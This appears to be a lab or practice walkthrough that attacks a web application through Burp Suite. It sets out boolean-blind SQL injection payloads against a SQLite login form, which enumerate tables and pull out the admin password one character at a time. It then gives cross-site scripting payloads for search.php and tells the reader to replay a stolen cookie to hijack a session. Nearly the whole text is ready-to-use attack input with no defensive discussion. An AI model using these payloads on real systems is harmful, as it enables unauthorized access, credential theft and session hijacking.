**Open any proxy tool which can capture HTTP request and perform the following payloads:**

**Tool I used:** Burp Suite

Open burp suite and capture the login request and change the username and password field as follows

**Find number of Tables in the Database**

**Number of tables is less than 3**

username=ada&password=lovelace'and (SELECT count(tbl\_name) FROM sqlite\_master WHERE

type='table' and tbl\_name NOT like 'sqlite\_%' ) < 3 -- -

**First Table name is ‘users’**

**Method**

**Get first character of Table**

**First character u, which is greater than t**

username=ada'and (SELECT hex(substr(tbl\_name,1,1)) FROM sqlite\_master

WHERE type='table' and tbl\_name NOT like 'sqlite\_%' limit 1 offset 0) >

hex('t')-- -&password=lovelace

**Second character s, which is greater than r**

username=ada'and (SELECT hex(substr(tbl\_name,2,1)) FROM sqlite\_master

WHERE type='table' and tbl\_name NOT like 'sqlite\_%' limit 1 offset 0) >

hex('r')-- -&password=lovelace

**Third character e, which is greater than d**

username=ada'and (SELECT hex(substr(tbl\_name,3,1)) FROM sqlite\_master

WHERE type='table' and tbl\_name NOT like 'sqlite\_%' limit 1 offset 0) >

hex('d')-- -&password=lovelace

**Fourth character is r, greater than q**

username=ada'and (SELECT hex(substr(tbl\_name,4,1)) FROM sqlite\_master

WHERE type='table' and tbl\_name NOT like 'sqlite\_%' limit 1 offset 0) >

hex('q')-- -&password=lovelace

**Fifth character is s, greater than r**

username=ada'and (SELECT hex(substr(tbl\_name,5,1)) FROM sqlite\_master

WHERE type='table' and tbl\_name NOT like 'sqlite\_%' limit 1 offset 0) >

hex('r')-- -&password=lovelace

**Hence, table name is ‘users’**

**=========================================================**

**Getting Password of ‘admin’ user:**

**First Character is ‘u’**

username=ada' and (Select hex(substr(password,1,1)) from users limit 1 offset 0) =

hex('u')-- -&password=lovelace

**Second Character is ‘r’**

username=ada' and (Select hex(substr(password,2,1)) from users limit 1 offset 0) =

hex('r')-- -&password=lovelace

**Third Character is ‘o’**

username=ada' and (Select hex(substr(password,3,1)) from users limit 1 offset 0) =

hex('o')-- -&password=lovelace

**Fourth Character is ‘c’**

username=ada' and (Select hex(substr(password,4,1)) from users limit 1 offset 0) =

hex('c')-- -&password=lovelace

**Fifth Character is ‘k’**

username=ada' and (Select hex(substr(password,5,1)) from users limit 1 offset 0) =

hex('k')-- -&password=lovelace

**Sixth Character is ‘!’**

username=ada' and (Select hex(substr(password,6,1)) from users limit 1 offset 0) =

hex('!')-- -&password=lovelace

**Cross Site Scripting Attack in search.php:**

**Payload:**

<script>alert(‘XSS’);</script>

**Getting user’s session:**

<script>alert(document.cookie);</script>

**Replace the cookie in another browser and steal user’s session.**